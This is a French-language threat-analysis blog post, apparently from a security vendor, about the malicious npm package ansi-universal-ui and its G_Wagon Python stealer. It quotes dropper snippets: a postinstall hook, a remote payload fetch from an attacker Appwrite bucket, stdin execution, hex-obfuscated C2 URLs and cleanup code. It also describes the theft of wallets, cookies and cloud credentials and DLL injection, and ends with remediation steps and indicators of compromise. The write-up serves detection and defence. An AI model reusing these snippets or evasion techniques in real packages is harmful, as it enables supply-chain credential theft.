Aikido

G_Wagon : un package npm déploie un malware voleur Python ciblant plus de 100 portefeuilles crypto

Écrit par
Charlie Eriksen

Le 23 janvier 2026 à 08h46 UTC, notre système de détection de malwares a signalé un package nommé ansi-universal-ui. Le nom évoque une bibliothèque de composants UI banale. La description indique même qu'il s'agit d'un "système de composants UI léger et modulaire pour les applications web modernes." Très professionnel. Très normal. Sauf que ce n'est pas le cas.

Ce que nous avons découvert est un infostealer sophistiqué à plusieurs étapes qui télécharge son propre runtime Python, exécute une charge utile fortement obfusquée et exfiltre vos identifiants de navigateur, portefeuilles de cryptomonnaies, identifiants cloud et jetons Discord vers un bucket de stockage Appwrite. Il contient également une DLL Windows embarquée qui est injectée dans les processus de navigateur à l'aide des API natives NT. Le malware se nomme lui-même « G_Wagon » en interne, probablement parce que ses auteurs ont des goûts de luxe.

Observer le développement d'une attaque en temps réel

C'est intéressant car nous pouvons observer l'intégralité du processus de développement. L'attaquant a publié 10 versions en deux jours, et chaque version raconte une partie de l'histoire.

Jour 1 (21 janvier) - Test de l'infrastructure du dropper :

  • v1.0.0 (15h54 UTC) : Échafaudage initial utilisant le module tar de npm
  • v1.2.0 (16h03 UTC) : Passage à tar système, première auto-dépendance
  • v1.3.2 (16h09 UTC) : Ajout d'un hook post-installation (pas encore de charge utile)
  • v1.3.3 (16h18 UTC) : Correction d'un bug de redirection

Jour 2 (23 janvier) - Opérationnalisation :

  • v1.3.5 (08h46 UTC) : Ajout de l'URL C2, faux branding, suppression du placeholder
  • v1.3.6 (08h53 UTC) : Réactivation de l'auto-dépendance pour une double exécution
  • v1.3.7 (09h09 UTC) : Ajout de techniques anti-forensiques, nettoyage des messages de log
  • v1.4.0 (12h27 UTC) : Passage au C2 de Francfort, la charge utile transite désormais via stdin (ne touche jamais le disque)
  • v1.4.1 (12h48 UTC) : Ajout d'obfuscation, chaînes encodées en hexadécimal, classe UI leurre
  • v1.4.2 (13h06 UTC) : Correction de bug (la v1.4.1 avait cassé le chemin Python)

L'attaquant itère activement. Pendant que nous rédigions cet article, ils ont publié trois versions supplémentaires.

La phase de test

Les premières versions (1.0.0 par 1.3.3) contenaient tous un fichier nommé py.py avec ce contenu :

print("code python exécuté !")

C'est tout. Juste un espace réservé pour vérifier si la chaîne d'exécution fonctionnait. L'attaquant était en train de construire son infrastructure.

Dans la version 1.2.0, ils ont apporté un changement intéressant. Ils ont supprimé la dépendance npm tar et sont passés à l'exécution directe de la commande tar du système :

- const tar = require('tar');
+ const https = require('https');

- const extract = tar.x({ cwd: CACHE_DIR });
- response.body.pipe(extract);

+ const tarProcess = spawn('tar', ['-x', '-f', '-', '-C', CACHE_DIR]);
+ res.pipe(tarProcess.stdin);

Pourquoi ? Moins de dépendances npm signifie une surface d'attaque réduite pour la détection. Cela signifie également que le package fonctionne sans installer quoi que ce soit depuis npm.

Mais ils ont introduit un bug. La gestion des redirections ne fonctionnait pas réellement :

if (res.statusCode === 302 || res.statusCode === 301) {
    downloadAndExtract().then(resolve).catch(reject); // BUG: forgot to pass the URL!
    return;
}

Ils ont corrigé cela dans la version 1.3.3 :

if (res.statusCode === 302 || res.statusCode === 301) {
    const newUrl = res.headers.location;
    downloadAndExtract(newUrl).then(resolve).catch(reject); // Fixed
    return;
}

C'est pourquoi nous observons cet écart de version entre la 1.3.3 et la 1.3.5. Ils ont testé, rencontré le bug, l'ont corrigé, ont vérifié son fonctionnement, puis sont revenus deux jours plus tard pour l'exploiter.

L'exploitation

La version 1.3.5 marque un tournant. Examinons la différence clé :

- const SCRIPT_PATH = path.join(__dirname, 'py.py');
+ const REMOTE_SCRIPT_URL = "https://nyc.cloud.appwrite.io/v1/storage/buckets/688625a0000f8a1b71e8/files/69732d9c000042399d88/view?project=6886229e003d46469fab";
+ const LOCAL_SCRIPT_PATH = path.join(CACHE_DIR, 'latest_script.py');

Au lieu d'exécuter l'espace réservé local, il télécharge désormais la charge utile depuis un bucket de stockage Appwrite.

Ils ont également ajouté un commentaire révélateur qui a été supprimé dans la version finale :

// console.log("Fetching latest logic..."); // Uncomment if you want them to see this

L'attaquant pensait clairement à la sécurité opérationnelle.

Le Faux Branding

La version 1.3.5 a également ajouté une légitimité. Le fichier package.json est passé de :

{
  "description": "A cross-platform tool powered by Python"
}

À :

{
  "description": "A lightweight, modular UI component system for modern web applications. Provides a responsive design engine and universal style primitives.",
  "keywords": ["ui", "design-system", "components", "framework", "frontend", "css-in-js"],
  "author": "Universal Design Team",
  "license": "MIT"
}

Ils ont ajouté une README.md pleine de mots à la mode :

Universal UI est une bibliothèque de primitives de composants déclaratifs conçue pour le rendu d'interfaces haute performance. Elle fournit une couche unifiée pour la gestion des états visuels, des thèmes et des systèmes de mise en page à travers les architectures d'applications modernes.

Et mon préféré :

Virtual Rendering Engine : Algorithme de diffing optimisé qui assure des transitions fluides et des repeints minimaux lors des changements d'état.

Rien de tout cela n'est réel. Il n'y a pas de ThemeProvider. Il n'y a pas de Virtual Rendering Engine. Il n'y a que des malwares.

Le stratagème de l'auto-dépendance

Examinez le fichier package.json de v1.3.7 :

{
  "scripts": {
    "postinstall": "node index.js"
  },
  "dependencies": {
    "ansi-universal-ui": "^1.3.5"
  }
}

Le package dépend de lui-même. La version 1.3.7 requiert la version ^1.3.5. Lors de l'installation du package par npm, le hook postinstall est exécuté. Ensuite, la dépendance (une version plus ancienne du package lui-même) est installée, ce qui déclenche à nouveau l'exécution du hook postinstall. Double exécution.

Fait intéressant, ils l'ont supprimé dans la version v1.3.5 et l'ont réintroduit dans la version v1.3.6. Il s'agissait probablement de tester si cela posait des problèmes.

L'anti-forensique

La version 1.3.7 a ajouté du code de nettoyage pour supprimer la charge utile après exécution :

child.on('close', (code) => {
    try {
        if (fs.existsSync(LOCAL_SCRIPT_PATH)) {
            fs.unlinkSync(LOCAL_SCRIPT_PATH);
        }
    } catch (cleanupErr) {
        // Ignore cleanup errors
    }
    process.exit(code);
});

Ils ont également assaini les messages de journalisation :

- console.log("Configuration de l'environnement Python...");
+ console.log("Initialisation du runtime de l'interface utilisateur...");

"Configuration de l'environnement Python" est suspect. "Initialisation du runtime de l'interface utilisateur" ressemble à une bibliothèque d'interface utilisateur légitime effectuant des opérations de bibliothèque d'interface utilisateur.

Toujours en évolution : v1.4.x

Pendant que nous analysions ce malware, l'attaquant a publié deux versions supplémentaires. Ils apprennent.

v1.4.0 a apporté une modification clé : la charge utile Python ne touche plus le disque. Au lieu de télécharger vers un fichier et de l'exécuter, le dropper récupère désormais du code Python encodé en base64 depuis le C2, le décode en mémoire et le transmet directement à python - via stdin :

e

const b64Content = await downloadString(REMOTE_B64_URL);
const pythonCode = Buffer.from(b64Content.trim(), 'base64').toString('utf-8');

const child = spawn(LOCAL_PYTHON_BIN, ['-'], { stdio: ['pipe', 'inherit', 'inherit'] });
child.stdin.write(pythonCode);
child.stdin.end();

Aucun fichier à supprimer. Aucun artefact laissé derrière.

v1.4.1 est allée plus loin dans l'obfuscation. L'URL du C2 est désormais divisée en fragments encodés en hexadécimal :

const _ui_assets = [
    "68747470733a2f2f6672612e636c6f75642e61707077726974652e696f2f...",
    "3639363865613536303033313663313238663232",
    "2f66696c65732f",
    "363937333638333830303333343933353735373..."
];
const _gfx_src = _ui_assets.map(s => Buffer.from(s, 'hex').toString()).join('');

Ils ont également ajouté une classe leurre pour faire ressembler le code à une véritable bibliothèque d'interface utilisateur :

class LayoutCompute {
    constructor() { this.matrix = new Float32Array(16); this.x = 0; }
    mount(v) { return (v << 2) ^ 0xAF; }
    sync() { this.x = Math.sin(Date.now()) * 100; return this.x > 0; }
}

Les répertoires ont été renommés de python_runtime à lib_core/renderer. Des variables comme pythonCode sont devenues _texture_data. La fonction setupPython sont devenues _init_layer. Tout semble maintenant être du code de rendu graphique.

Ils sont également passés exclusivement au serveur C2 de Francfort, abandonnant le point de terminaison de New York.

v1.4.2 est arrivée 18 minutes plus tard. Ils ont cassé quelque chose. Le commentaire dans le code en dit long :

// FIXED: Changed 'renderer' back to 'python' (hex encoded) so it matches the tarball structure

Dans v1.4.1, ils ont renommé le répertoire en 'renderer' pour une obfuscation esthétique, mais l'archive tarball Python s'extrait dans un dossier appelé python. Oups. Le malware n'aurait pas fonctionné. v1.4.2 corrige cela tout en conservant l'encodage hexadécimal.

Étape 2 : G_Wagon Stealer

La charge utile Python est l'endroit où les choses deviennent intéressantes. Le code est obfusqué avec des noms de variables à une seule lettre et des constantes de chaîne, mais la fonctionnalité est claire une fois que vous l'avez analysée.

La première chose que fait le malware est de vérifier l'existence d'un fichier appelé .gwagon_status dans votre répertoire personnel. Ce fichier contient un compteur. Si vous avez déjà été infecté deux fois, il cesse de fonctionner. Il n'est pas nécessaire de voler les mêmes données à plusieurs reprises.

Ensuite, il se met au travail.

Identifiants de navigateur : Le stealer cible Chrome, Edge et Brave sur Windows et macOS. Sur Windows, il termine les processus du navigateur, lance une nouvelle instance avec le protocole Chrome DevTools activé, et extrait tous les cookies. Il déchiffre également les mots de passe enregistrés à l'aide de l'API Windows Data Protection. Sur macOS, il extrait la clé de chiffrement du Trousseau d'accès et utilise OpenSSL pour déchiffrer les données de connexion.

Portefeuilles de cryptomonnaies : C'est le véritable butin. Le malware cible plus de 100 extensions de portefeuilles de navigateur. MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Ledger Live, Trezor, Exodus, et des dizaines d'autres. Il copie l'intégralité du répertoire de données de l'extension pour chaque portefeuille qu'il trouve.

La liste complète inclut des portefeuilles pour Ethereum, Solana, Cosmos, Polkadot, Cardano, TON, Bitcoin Ordinals, et pratiquement tous les écosystèmes blockchain imaginables.

Identifiants cloud : Si vous avez déjà configuré l'AWS CLI, l'Azure CLI ou le Google Cloud SDK sur votre machine, le malware copie vos fichiers d'identifiants. Il en va de même pour les clés SSH et votre kubeconfig. L'intégralité de votre infrastructure cloud, potentiellement accessible avec un seul fichier zip.

Jetons de messagerie: Le vol de jetons Discord est un classique des malwares npm depuis des années, et G_Wagon ne déçoit pas. Il s'empare également du répertoire tdata de Telegram et des fichiers d'authentification Steam.

L'exfiltration

Toutes les données volées sont compressées et téléchargées vers le bucket Appwrite de l'attaquant. Les noms de fichiers suivent un modèle : {username}@{hostname}_{browser}_{profile}_{original_file}.

Le malware dispose de deux serveurs C2 configurés :

  • Principal : nyc.cloud.appwrite[.]io (ID du projet : 6886229e003d46469fab)
  • De secours : fra.cloud.appwrite[.]io (ID du projet : 6968e9e9000ee4ac710c)

Pour les fichiers volumineux, il fragmente les données en morceaux de 5 Mo et les télécharge séquentiellement. Les fichiers de plus de 50 Mo sont divisés en parties de 45 Mo. Les auteurs ont clairement anticipé des victimes possédant de nombreuses données de valeur.

Injection de DLL

Un élément supplémentaire distingue ce stealer. Le code Python contient un grand blob encodé en base64 – une DLL Windows chiffrée par XOR.

c='+qmQZ9cVqpo....=='  # Rédigé pour des raisons de concision - le blob réel est beaucoup plus grand

Le code décode ceci en base64, le déchiffre par XOR avec une clé codée en dur, puis l'injecte dans les processus de navigateur en utilisant les API natives de NT : NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, et NtCreateThreadEx.

Le malware inclut un analyseur PE complet qui parcourt la table d'exportation à la recherche d'une fonction appelée "Initialize" - c'est le point d'entrée qu'il appelle après l'injection.

Remédiation et Détection

Si vous avez installé ansi-universal-ui, voici ce que vous devez faire immédiatement :

  1. Supprimez le package de votre projet et supprimez node_modules
  2. Vérifiez la présence du .gwagon_status fichier dans votre répertoire personnel (s'il existe, vous avez probablement été infecté)
  3. Renouvelez tous les mots de passe enregistrés dans le navigateur
  4. Révoquez et régénérez les jetons pour tous les portefeuilles de cryptomonnaies qui ont été installés en tant qu'extensions de navigateur (considérez-les comme compromis)
  5. Renouvelez les identifiants AWS/Azure/GCP si vous utilisez ces CLI
  6. Régénérez les clés SSH
  7. Invalidez les sessions Discord et Telegram

Comment savoir si vous êtes affecté en utilisant Aikido :

Si vous êtes un utilisateur Aikido, vérifiez votre flux central et filtrez les problèmes de malware. La vulnérabilité sera signalée comme un problème critique 100/100 dans le flux. Conseil : Aikido réanalyse vos dépôts chaque nuit, mais nous vous recommandons également de déclencher une réanalyse complète.

Si vous n'êtes pas encore un utilisateur Aikido, créez un compte et connectez vos dépôts. Notre couverture propriétaire des malwares est incluse dans le plan gratuit (aucune carte de crédit requise).

Pour une protection future, envisagez d'utiliser Aikido Safe Chain (open source), un wrapper sécurisé pour npm, npx, yarn et d'autres gestionnaires de packages. Safe Chain s'intègre à vos workflows actuels. Il fonctionne en interceptant les commandes npm, npx, yarn, pnpm et pnpx et en vérifiant les packages à la recherche de malwares avant l'installation, en les comparant à Aikido Intel, notre flux de renseignement sur les menaces open source. Arrêtez les menaces avant qu'elles n'atteignent votre machine.

Indicateurs de compromission

Package

  • Nom : ansi-universal-ui
  • Versions malveillantes : 1.3.5, 1.3.6, 1.3.7, 1.4.0, 1.4.1

Hachages de fichiers (SHA256)

  • v1.0.0 index.js: 7de334b0530e168fcf70335aa73a26a0b483e864c415d02980fe5e6b07f6af85
  • v1.2.0 index.js: 00f1e82321a400fa097fc47edc1993203747223567a2a147ed458208376e39a1
  • v1.3.2 index.js: 00f1e82321a400fa097fc47edc1993203747223567a2a147ed458208376e39a1 (identique à v1.2.0)
  • v1.3.3 index.js: 1979bf6ff76d2adbd394e1288d75ab04abfb963109e81294a28d0629f90b77c7
  • v1.3.5 index.js: ecde55186231f1220218880db30d704904dd3ff6b3096c745a1e15885d6e99cc (MALVEILLANT)
  • v1.3.6 index.js: ecde55186231f1220218880db30d704904dd3ff6b3096c745a1e15885d6e99cc (identique à v1.3.5, MALICIEUX)
  • v1.3.7 index.js: eb19a25480916520aecc30c54afdf6a0ce465db39910a5c7a01b1b3d1f693c4c (MALVEILLANT)
  • v1.4.0 index.js: ff514331b93a76c9bbf1f16cdd04e79c576d8efd0d3587cb3665620c9bf49432 (MALVEILLANT)
  • v1.4.1 index.js: a576844e131ed6b51ebdfa7cd509233723b441a340529441fb9612f226fafe52 (MALVEILLANT)
  • py.py (toutes versions): e25f5d5b46368ed03562625b53efd24533e20cd1d42bc64b1ebf041cacab8941

Remarque : v1.3.5 et v1.3.6 sont identiques index.js fichiers (seul le package.json a été modifié). v1.2.0 et v1.3.2 sont également identiques (seul le hook postinstall a été ajouté).

Réseau

  • hxxps://nyc.cloud.appwrite[.]io/v1/storage/buckets/688625a0000f8a1b71e8/files/69732d9c000042399d88/view?project=6886229e003d46469fab (v1.3.x)
  • hxxps://fra.cloud.appwrite[.]io/v1/storage/buckets/6968ea5600316c128f22/files/69736838003349357574/view?project=6968e9e9000ee4ac710c (v1.4.x)
  • ID de projet Appwrite (NYC) : 6886229e003d46469fab
  • ID de projet Appwrite (FRA) : 6968e9e9000ee4ac710c
  • ID de bucket Appwrite (NYC) : 688625a0000f8a1b71e8
  • ID de bucket Appwrite (FRA) : 6968ea5600316c128f22

Système de fichiers

  • ~/.gwagon_status (compteur d'exécution, masqué sous Windows)

Partager :

https://www.aikido.dev/blog/npm-malware-g-wagon-python-stealer-crypto-wallets

Abonnez-vous pour les actualités sur les menaces.

Commencez dès aujourd'hui, gratuitement.

Commencer gratuitement
Sans carte bancaire
4,7/5
Vous en avez assez des faux positifs ?
Essayez Aikido 100 000 autres utilisateurs.
Commencez maintenant
Obtenez un guide personnalisé

Plus de 100 000 équipes lui font confiance

Réserver maintenant
Analysez votre application à la recherche d'IDOR et de véritables chemins d'attaque.

Plus de 100 000 équipes lui font confiance

Commencer la numérisation
Découvrez comment l'IA teste la sécurité de votre application

Plus de 100 000 équipes lui font confiance

Commencer le test

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.